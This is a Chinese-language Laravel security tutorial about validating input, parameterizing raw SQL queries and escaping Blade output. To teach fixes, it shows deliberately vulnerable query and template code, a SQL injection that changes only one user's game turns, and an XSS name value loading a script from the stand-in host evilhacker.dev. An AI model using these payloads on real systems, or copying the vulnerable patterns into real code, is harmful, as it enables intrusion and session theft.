Laravel 安全入门:永远不要信任你的用户
发布于 作者: Stephen Rees-Carter
开发人员的首要目标是获得用户的信任。我们希望他们信任我们的代码、信任我们的应用程序,并信任我们的品牌。因为如果用户信任我们,他们就会不断回来。他们会接受并忍受那些恼人的错误和缺失的功能(不是我们想要这样,但它们确实会发生……),他们会信任其他一切都会正常工作,他们数据是安全的,我们不会浪费他们的时间。
但是,作为开发人员,我们绝对不能信任用户。永远不要!
当我们谈论信任用户时,这意味着我们不能信任他们的输入。我们不能信任他们提供正确的信息,使用正确的格式,甚至只执行预期的操作。问题是,用户是复杂而令人沮丧的生物。一些用户有恶意意图,会寻找方法来破坏或危害你的应用程序。其他人可能与你思考方式不同,会做一些你意想不到的事情 - 发现错误并访问他们不应该访问的数据(我妻子在这方面是专家!)。还有一些人只是迷路了,感到困惑,会尝试一些方法回到他们开始的地方。
所以,我们作为开发人员的职责是保护我们的应用程序免受用户攻击。我们需要对我们收到的输入保持警惕,并建立多层防御措施,以确保无论用户做什么,我们的应用程序都是安全的。哦,还要设法让用户相信我们不信任他们,这样他们就会信任我们。简单吧,对吧?
所以今天,我们将看看一些避免信任用户的方法
验证输入
当你想到应用程序的“输入”时,你首先想到的就是表单和表单数据。你要求用户提供一些信息或回答一些问题,然后接收并存储他们提供的信息。
考虑以下表单
在收集到的信息中,很容易假设电子邮件地址是有效的电子邮件地址(尤其是如果我们使用 HTML5 电子邮件输入字段),而国家/地区是一个有效的国家/地区(因为它是下拉列表)。
**但你不能通过做出这些假设来信任你的用户。**用户可以在浏览器中修改 HTML,使这些输入字段接受任何内容。
相反,我们需要明确说明我们的输入验证
- 姓氏 / 名字
- 必填字段
- 必须是字符串
- 最大长度为 255
- 电子邮件地址
- 必填字段
- 必须是字符串
- 必须是可识别的电子邮件地址格式
- 最大长度为 255
- 数据库中不能有其他用户使用此邮箱
- 国家/地区
- 必填字段
- 必须来自预定义的允许国家/地区列表
现在,我们已经定义了显式规则,可以使用 Laravel 功能强大的 验证组件 来验证输入,确保它完全符合我们的预期。
$data = $request->validate([ 'first_name' => ['required', 'string', 'max:255'], 'Last_name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'], 'country' => ['required', Rule::in($this->allowedCountries())],]);
如果验证器通过,我们就知道 $data
包含符合我们预期的值,可以安全地存储在数据库中,并在整个应用程序中谨慎使用。国家/地区可以安全地在整个应用程序中使用,因为它将完全匹配我们的允许列表,并且我们知道电子邮件格式有效,因此我们可以开始向其发送通知。
另一方面,姓氏 / 名字,我们将在下一节中讨论。
在我们继续之前,重要的是要注意,**验证器只会返回包含在验证规则中的键。**这意味着表单中提交的任何额外数据都将被忽略,因此可以安全地直接通过 create()
、fill()
或 update()
传递到模型中,避免了所谓的“大规模赋值”漏洞。 这就是我一直在我模型上存储数据的方式。
参数化查询
所以我们已经实现了表单并向用户询问数据,他们已经提供了数据。但是现在,我们需要编写一些数据库查询来使用我们的数据。这个讨厌的信任问题又出现了。
在 Laravel 中,我们通常像这样编写查询
$name = $request->query(‘name');$user = DB::table('users')->where('name', $name)->get();
这里的关键部分是 where()
方法,其中第二个参数 ($name
) 直接来自用户输入。Laravel 自动将这个第二个参数包含为参数化查询,通过直接将它传递给数据库来防止 SQL 注入。这是 Laravel 的一个出色的功能之一,它使得在无意中编写漏洞查询变得困难。
但是,如果你需要一个非常复杂的查询或想要使用一些特定于数据库引擎的逻辑呢?或者如果你只是需要运行一个在用原始 SQL 编写时效率更高的查询呢?
你会发现有时你确实需要深入研究自定义查询,这时参数化查询就显得尤为重要。
考虑以下代码
public function store(Request $request){ $data = $request->validate([ 'game' => ['required'], 'date' => ['required'], ]) DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = {$data['game']}");}
当开发人员编写这段代码时,他们期望 $data['game']
在注入到查询时是一个整数(并且他们已经阅读过原始整数比较更快!)。当然,它会通过浏览器传递,但他们认为它是一个隐藏字段,没有人会注意到!但它仍然是一个输入字段,黑客可以随意修改它……
如前所述,Laravel 在查询构建器中内置了参数化,我们也可以在构建手动查询时轻松使用它。不要直接将变量注入到查询字符串中,而是用问号 (?) 替换它们,并将它们作为第二个参数包含在方法调用中。数据库理解问号是一个占位符,知道如何在执行时安全地将参数替换到查询中。
在本例中,我们可以执行以下操作
DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = ?", [$data['game']]);
基本上,所有 Laravel 查询方法都支持这种参数化,因此没有理由不使用它们。
(作为旁注,我们还可以通过验证整数输入来修复此特定漏洞,理想情况下,我们会同时执行这两项操作,以增强保护。)
如果你想更深入地了解参数化查询,我在 Laravel 安全深度剖析 中对它们进行了介绍,我建议你查看官方 Laravel 数据库 和 Eloquent 文档。
在我们继续之前,让我们快速看一下黑客可以使用此漏洞查询做些什么。
为了增加一些背景信息:当执行此查询时,它会根据 event_increment
的数量来增加每个用户的游戏回合数。这将平等地惠及游戏中所有用户。
如果我是一个发现此漏洞的黑客,我想只增加自己在游戏中的回合数。我可以使用一系列猜测和试错来获得看起来像这样在 game
字段中提交的输入
将此提交到应用程序将生成以下 SQL 查询
DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = 42 && user_id = (SELECT id FROM users WHERE email = `[email protected]` LIMIT 1)");
清理一下
UPDATE game_userSET turns += event_incrementWHERE game_id = 42 AND user_id = ( SELECT id FROM users LIMIT 1 )
就是这样。我的回合数会增加,但其他人的回合数不会。非常简单,完全是由于缺乏验证和查询参数化造成的。
这是一个简单的示例,但你可以用 SQL 注入做 **很多事情**。有很多技巧可以提取信息,即使页面没有返回任何可见的反馈(或错误消息)!如果你想了解更多,我们在 10 月份的 Laravel 安全深度剖析中深入研究了 SQL 注入,包括一个故意设计有漏洞的网络应用程序,你可以在其中进行自己的 SQLi 攻击。 点击此处查看。
转义输出
到目前为止,你可能想让我快点完成,这样你就可以回去检查所有验证是否足够明确,以及你的查询是否被正确地参数化了,所以我不会让你等太久。(我知道每次我写到这些东西的时候,我都会想起以前写过的那些非常脆弱的代码,真是太可怕了!)
但在我们结束之前,我有一件事要强调,那就是正确地转义数据。如果你只记住一件事,请记住你要尽一切努力避免使用未转义的 Blade 标签。
这些东西在这里
{!! $variable !!}
拜托,不要使用它们。
你需要注意你在页面上输出的内容。考虑我们之前输入的内容,包括用户的姓氏和名字。
如果用户提交了这个作为他们的名字
Stephen <script src="https://evilhacker.dev/evil.js"></script>
然后我们在页面上做了这个
{{ $user->first_name }}
正如你所预期的那样,我们会看到他们的名字和脚本标签 - 以纯文本形式打印出来。它完全可以安全地加载,我们也会立即知道他们试图注入一些恶意的 JavaScript 代码。
但如果我们的代码像这样
// Controller$links = $pages ->map(fn ($page) => "<a href=\"{$page->url}\">{$user->first_name}</a>") ->join(', ', ' and '); return view('pages', ['links' => $links])
// Template<div> {!! $links !!}</div>
我们只会看到“Stephen”,而恶意的 JavaScript 代码会在浏览器中运行,做黑客想要做的事情。你可以很容易地理解为什么开发人员会选择这个解决方案,但它让应用程序很容易受到 XSS 攻击。
那么我们该怎么做呢?我说过要避免未转义的输出,但我们如何安全地显示这样的东西呢?
Laravel 为我们提供了两个助手,可以在这种情况下使用。
- 我们有 `e($value)` 函数,它会在你使用 `{{ $value }}` 标签时对输出进行实际的转义。你可以在任何地方调用它。
- 如果你将某些内容包装在 `Illuminate\Support\HtmlString` 类中,它将绕过转义。
让我们看看它在实际中的应用。
// Controller$links = $pages ->map(fn ($page) => "<a href=\"{$page->url}\">".e($user->first_name)."</a>") ->join(', ', ' and '); return view('pages', ['links' => new HtmlString($links)])
// Template<div> {{ $links }}</div>
虽然你可以跳过 `HtmlString` 类,直接使用未转义的输出标签,但我喜欢这种方法,因为它体现了这种方法的意图。你故意转义用户数据,然后故意将生成的 HTML 包装在该类中,然后故意将它传递给视图中的安全输出标签。你始终了解数据及其格式。
换句话说,你在整个过程中都没有信任用户数据。这是保持应用程序安全的关键:**永远不要信任你的用户。**
我在去年 11 月的 Laravel Security in Depth 中介绍了安全地转义输出,如果你想更深入地了解这个主题,可以阅读这篇文章。它还包括一些跨站脚本攻击挑战,如果你想了解 XSS 的工作原理,可以尝试一下。
友好的黑客,演讲者,以及PHP & Laravel 安全专家。🕵️ 我编写了Securing Laravel,并为了娱乐而进行了一些现场黑客活动。😈